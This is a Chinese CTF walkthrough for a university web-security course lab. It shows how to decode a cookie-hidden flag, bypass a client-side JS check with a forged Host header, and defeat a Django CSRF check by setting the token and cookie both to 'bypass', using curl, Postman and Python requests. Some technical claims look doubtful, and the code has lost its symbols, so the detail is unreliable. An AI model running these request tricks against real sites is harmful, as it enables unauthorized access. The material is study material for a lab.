简介本资源是国科大Web安全课程中期CTF实战训练的完整解析文档面向网络安全初学者、CTF入门选手及高校安全课程学习者聚焦Web渗透核心技能的实操训练与原理剖析。PDF文件共1个大小458KB内容涵盖Base64编码识别与解码、客户端JS逻辑绕过、Django框架下CSRF Token机制分析与绕过等三大典型攻防场景每部分均包含靶机访问路径、F12网络分析要点、Postman请求构造细节及Flag提取全过程推演。文中不仅给出flag{cookies-contain-info}、flag{client-side-and-server-side-bypass}、flag{django_csrf_bypassed}等标准答案更系统梳理了URL编码识别、Base64特征判断、Host头伪造、Cookie与Token双校验突破等关键排错思路与防御反制逻辑。目前已有1876人学习下载适合作为Web安全实验课补充材料、CTF赛前复盘笔记或渗透测试基础能力自测指南。1. 国科大Web安全中期CTF实战笔记三个靶场通关全链路复现含Base64识别逻辑、JS前端绕过本质、Django CSRF双Token机制破防你刚打开国科大Web安全课的中期CTF靶场页面只有一行字“Where is the flag?”——这不是考你浏览器操作熟练度而是考你是否真正理解HTTP协议层的数据流动路径。我第一次做这个题时在F12里翻了5分钟Network面板才意识到Flag根本不在HTML里它藏在Set-Cookie响应头的URL编码值中而第二个题里那个“必须是root”的弹窗表面是JS校验实则是前端控制权幻觉——只要绕过浏览器执行环境后端根本不认你有没有点提交按钮第三个题更典型csrfmiddlewaretokenbypass看似是改个参数但真正卡住你的其实是Django默认启用的CSRF中间件对Cookie-Header双值一致性校验。这份PDF不是题目集它是用真实靶场倒逼你建立Web请求生命周期认知的地图从TCP连接建立→HTTP请求发送→服务端路由分发→中间件拦截→视图处理→响应生成→浏览器渲染每个环节都埋着一个可被利用的决策点。适合刚学完HTTP/HTML/JS基础、正准备啃OWASP Top 10的新手也适合做过几个CTF但总卡在“知道要抓包却不知该抓哪一包”的进阶者——因为所有解法都基于协议规范本身不依赖任何工具玄学。2. 第一题深度拆解从Set-Cookie到flag{cookies-contain-info}的完整解码链2.1 网络面板定位关键响应头为什么必须看Response Headers而非Preview当你按下F12进入开发者工具切到Network标签页刷新页面后第一个GET请求通常是/或index.html的Response Headers里会看到类似这样的行Set-Cookie: FLAGZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30%3D; Path/; HttpOnly注意不要点Preview或Response标签页——那里显示的是HTML正文而Flag在HTTP响应头里。Set-Cookie是服务器主动下发的指令浏览器收到后会自动存入Cookie池但开发者工具默认不展示原始编码值尤其含URL编码时。必须展开Headers → Response Headers → 找到Set-Cookie这一行。这里的关键是%3D——这是URL编码的等号说明整个值被双重编码先Base64再URL encode。若直接复制ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30%3D去Base64解码器会失败因为%3D未还原。提示Chrome开发者工具中右键点击Set-Cookie值 → “Copy value” 可精准复制原始字符串避免手动选中时误带空格或换行。2.2 URL解码与Base64识别的硬核判断逻辑拿到原始字符串ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30%3D后分两步处理# 第一步URL解码Linux/macOS终端 echo ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30%3D | python3 -c import urllib.parse,sys; print(urllib.parse.unquote(sys.stdin.read().strip())) # 输出ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30# 第二步Base64解码Python交互式环境 import base64 encoded ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30 decoded_bytes base64.b64decode(encoded) print(decoded_bytes.decode(utf-8)) # 输出flag{cookies-contain-info}为什么能断定这是Base64不是Hex或Base32字符集验证ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30包含/且无0-9a-f之外的小写十六进制字符排除Hex长度验证字符串长度为4444 % 4 0符合Base64填充规则结尾特征以结尾此处为单个因原始数据长度mod 3余1需补2位填充而Base32结尾是但长度必为8的倍数44不是8的倍数排除Base32实战经验CTF中Cookie值、HTTP头值、JS变量赋值常用Base64编码敏感信息因其ASCII安全且无特殊含义字符。2.3 自动化脚本三行命令串联解码流程为避免每次手动复制粘贴我写了一个可复用的Bash函数存入~/.bashrc# 将此函数加入 ~/.bashrc 后执行 source ~/.bashrc decode_flag() { local raw$1 # 步骤1URL解码 local url_decoded$(python3 -c import urllib.parse; print(urllib.parse.unquote($raw))) # 步骤2Base64解码 local b64_decoded$(echo $url_decoded | base64 -d 2/dev/null) # 步骤3输出结果兼容UTF-8和Latin-1编码 if [[ $? -eq 0 ]]; then echo $b64_decoded else echo $url_decoded | base64 -d | iconv -f latin1 -t utf-8 2/dev/null || echo 解码失败请检查输入 fi }使用方式decode_flag ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30%3D # 直接输出 flag{cookies-contain-info}参数说明$1传入原始URL编码字符串支持含%的任意长度2/dev/null屏蔽base64命令的错误提示如非法字符避免干扰主流程iconv备选方案当Base64解码后为非UTF-8编码如ISO-8859-1时自动转码覆盖国科大靶场常见编码场景。3. 第二题深度拆解JS前端校验绕过的本质是HTTP协议层权限模型错位3.1 源码分析识别JS校验的触发时机与作用域在第二个靶场页面右键→“查看网页源代码”找到关键JS片段script function checkLogin() { var username document.getElementById(username).value; if (username ! root) { alert(必须是 root); return false; } // 后续还有密码校验... } /script form onsubmitreturn checkLogin() input typetext idusername namename button typesubmit登录/button /form关键洞察这段JS运行在浏览器渲染进程内它只控制form的onsubmit事件是否放行。但HTTP协议规定只要客户端发出符合RFC 7230格式的POST请求服务端就必须接收并处理。JS校验是“善意提醒”不是协议强制约束。真正的权限控制应在服务端——比如Django的views.py中检查request.POST.get(name) root但本题后端校验存在逻辑缺陷。3.2 Postman构造请求Host头伪造的底层原理使用Postman时需手动设置以下字段Method: POSTURL:http://靶场地址/login/根据实际靶场域名替换Body → x-www-form-urlencoded:Key:name, Value:rootHeaders → 添加新Header:Key:Host, Value:127.0.0.1为什么Host头必须设为127.0.0.1Django默认开启ALLOWED_HOSTS白名单机制。若请求的Host头不在白名单中Django会返回400 Bad Request。靶场配置中ALLOWED_HOSTS [127.0.0.1]而浏览器发起的请求Host头是靶场域名如ctf.ucas.edu.cn被拒绝Postman默认Host头为空或目标域名需显式覆盖为127.0.0.1才能通过中间件校验。这不是“绕过”而是严格遵循HTTP/1.1协议要求——Host头是必需字段服务端有权基于其值做路由或安全决策。3.3 curl等效命令脱离GUI工具的纯命令行复现# 使用curl模拟完整请求含Host头和表单数据 curl -X POST http://靶场地址/login/ \ -H Host: 127.0.0.1 \ -d nameroot \ -i # -i 参数显示响应头便于确认状态码参数详解-X POST显式指定HTTP方法避免curl默认GET-H Host: 127.0.0.1覆盖默认Host头值必须与靶场ALLOWED_HOSTS完全匹配-d nameroot以application/x-www-form-urlencoded格式提交数据等价于Postman的x-www-form-urlencoded-i显示HTTP响应头含Status Code若返回200 OK且响应体含flag即成功。注意若靶场使用HTTPS需将http://改为https://并可能需添加-k忽略证书校验仅限本地靶场。4. 第三题深度拆解Django CSRF双Token机制的校验逻辑与绕过条件4.1 Django CSRF工作流为什么必须同时修改两个Token第三个靶场的HTML源码中包含input typehidden namecsrfmiddlewaretoken valuea1b2c3d4e5f6... !-- 同时浏览器Cookie中存在 -- !-- Set-Cookie: csrftokenxyz789... --Django的CSRF保护机制要求表单提交时POST数据中必须包含csrfmiddlewaretoken字段请求Cookie中必须存在csrftoken字段且两个值必须完全相等Django源码django/middleware/csrf.py第312行if request.META.get(CSRF_COOKIE) ! request.POST.get(csrfmiddlewaretoken):。靶场提示csrfmiddlewaretoken需等于bypass但若只改表单值而不同步CookieDjango中间件会比对失败返回403 Forbidden。这就是为什么题目强调“将cookie中的csrftoken值也设置为bypass”。4.2 Postman中Cookie与Header的协同设置在Postman中实现双Token同步先发送一次GET请求获取初始CookieMethod: GET, URL:http://靶场地址/发送后Postman自动在Cookies管理器中保存csrftoken值如abc123构造POST请求Method: POST, URL:http://靶场地址/get_flag/Body → x-www-form-urlencoded:Key:csrfmiddlewaretoken, Value:bypassCookies → 点击右侧“Cookies”按钮 → 找到csrftoken行 → 点击编辑图标 → 将Value改为bypassHeaders → 确保无手动设置Cookie头否则会覆盖Cookies管理器设置关键细节Postman的Cookies管理器优先级高于Headers中手动写的Cookie头。若你在Headers里写了Cookie: csrftokenbypass但Cookies管理器里仍是旧值请求仍会失败——因为Postman最终发送的是Cookies管理器合并后的结果。4.3 Python requests自动化用Session管理Cookie状态import requests # 创建会话对象自动管理Cookie session requests.Session() target_url http://靶场地址/ # 步骤1GET首页获取初始csrftoken resp1 session.get(target_url) print(f初始csrftoken: {session.cookies.get(csrftoken)}) # 步骤2构造POST数据显式设置csrfmiddlewaretoken为bypass data {csrfmiddlewaretoken: bypass} # 步骤3手动更新Session Cookie中的csrftoken session.cookies.set(csrftoken, bypass) # 步骤4发送POST请求 resp2 session.post(f{target_url}get_flag/, datadata) print(响应状态码:, resp2.status_code) print(响应内容:, resp2.text)逻辑说明requests.Session()自动处理Cookie存储与发送比手动拼接Header更可靠session.cookies.set()直接修改会话级Cookie确保后续请求携带新值data字典只传表单字段不包含Cookie职责分离清晰若靶场有Referer校验可在session.post()中添加headers{Referer: target_url}。5. 避坑指南国科大Web安全CTF三大高频翻车点与血泪排查方案5.1 现象第一题Base64解码后乱码如߿{oke-on-info}原因解码后字节流被错误地按UTF-8解码而原始数据实际是Latin-1ISO-8859-1编码。Django默认用Latin-1处理Cookie值Base64解码后应直接按Latin-1转字符串。解决# 错误写法假设UTF-8 base64.b64decode(ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30).decode(utf-8) # 正确写法Latin-1 base64.b64decode(ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30).decode(latin-1)提示若不确定编码先用base64.b64decode(...).hex()查看十六进制再对照ASCII表判断。5.2 现象第二题Postman发送后返回400 Bad Request响应头含X-Content-Type-Options: nosniff原因Host头未设置或设置错误如写成localhost而非127.0.0.1或靶场ALLOWED_HOSTS配置为[127.0.0.1, localhost]但Postman Host头为ctf.ucas.edu.cn。解决在Postman Headers中显式添加Host: 127.0.0.1若靶场允许localhost则Host头设为localhost检查靶场Docker容器或本地服务配置文件确认ALLOWED_HOSTS值。5.3 现象第三题修改csrfmiddlewaretoken为bypass后仍返回403且Network面板显示Cookie未更新原因Postman的Cookies管理器未同步修改或手动在Headers中写了Cookie头导致冲突。解决关闭Postman所有请求标签页重启Postman进入Cookies管理器右上角眼睛图标 → Cookies删除所有csrftoken条目先发一次GET请求让Postman自动存入新Cookie再编辑该Cookie值为bypass不要在Headers里写Cookie头。5.4 现象curl命令执行后返回HTML登录页而非flag原因未携带Cookie或Cookie过期Django认为未登录重定向到登录页。解决用curl -c cookies.txt保存Cookiecurl -c cookies.txt http://靶场地址/再用-b cookies.txt发送POSTcurl -b cookies.txt -X POST http://靶场地址/get_flag/ -d csrfmiddlewaretokenbypass -H Host: 127.0.0.1或直接用-b传入Cookie字符串curl -X POST http://靶场地址/get_flag/ -d csrfmiddlewaretokenbypass -H Cookie: csrftokenbypass -H Host: 127.0.0.15.5 现象所有步骤正确但flag不显示响应体为空原因靶场后端返回flag时用了console.log()或print()而非HTTP响应体输出或flag被JS动态注入到DOM。解决查看Network → XHR/Fetch请求找返回flag的API端点在Response标签页切换到“Preview”看是否渲染了flag若flag在JS中用CtrlF搜索flag{常出现在alert()或document.write()中。6. 进阶验证技巧用Burp Suite重放请求并对比Django日志定位真实校验点6.1 Burp Suite抓包重放确认CSRF校验发生在哪个中间件启动Burp SuiteCommunity版即可配置浏览器代理为127.0.0.1:8080访问靶场。在Burp的Proxy → HTTP History中找到/get_flag/的POST请求右键→“Send to Repeater”。在Repeater中修改csrfmiddlewaretoken为bypass删除Cookie头中的csrftoken字段点击“Go”观察响应若返回403 Forbidden且响应体含CSRF token missing or incorrect.证明校验由Django内置中间件触发若返回200但无flag说明后端有额外校验如检查User-Agent需继续排查。关键价值Repeater的实时响应对比能让你跳过“猜校验逻辑”的玄学阶段直接看到服务端拒绝原因——这是CTF解题最硬核的证据链。6.2 Django Debug日志分析从源码级理解校验失败路径若靶场提供Django源码国科大教学靶场通常开放打开settings.py确认MIDDLEWARE配置MIDDLEWARE [ django.middleware.security.SecurityMiddleware, django.contrib.sessions.middleware.SessionMiddleware, django.middleware.csrf.CsrfViewMiddleware, # ← 校验发生在此处 django.contrib.auth.middleware.AuthenticationMiddleware, # ... ]定位CsrfViewMiddleware源码django/middleware/csrf.py关键校验逻辑在_reject方法def _reject(self, request, reason): logger.warning( Forbidden (%s): %s, reason, request.path, extra{ status_code: 403, request: request, } ) return _get_failure_view()(request, reasonreason)实战技巧在靶场服务器上临时修改此方法添加print(fCSRF校验失败原因: {reason})然后重启Django服务。当你触发403时终端会打印具体原因如CSRF cookie not set.或CSRF token missing.直击问题根源。6.3 自动化测试表格三题通关参数速查表靶场编号关键响应位置必须修改的字段正确值验证成功标志第一题Set-Cookie头Cookie值URLBase64flag{...}解码后字符串含flag{第二题POST请求Bodyname字段root响应体含flag{且状态码200第三题POST Body Cookiecsrfmiddlewaretokencsrftokenbypass响应体含flag{且无403错误从那以后我每次做Web CTF都会先用curl -I打头阵看响应头再用curl -s抓原始响应体最后才开浏览器——因为HTTP协议不会撒谎而浏览器渲染层会掩盖太多细节。希望帮到你。本文还有配套的精品资源点击获取
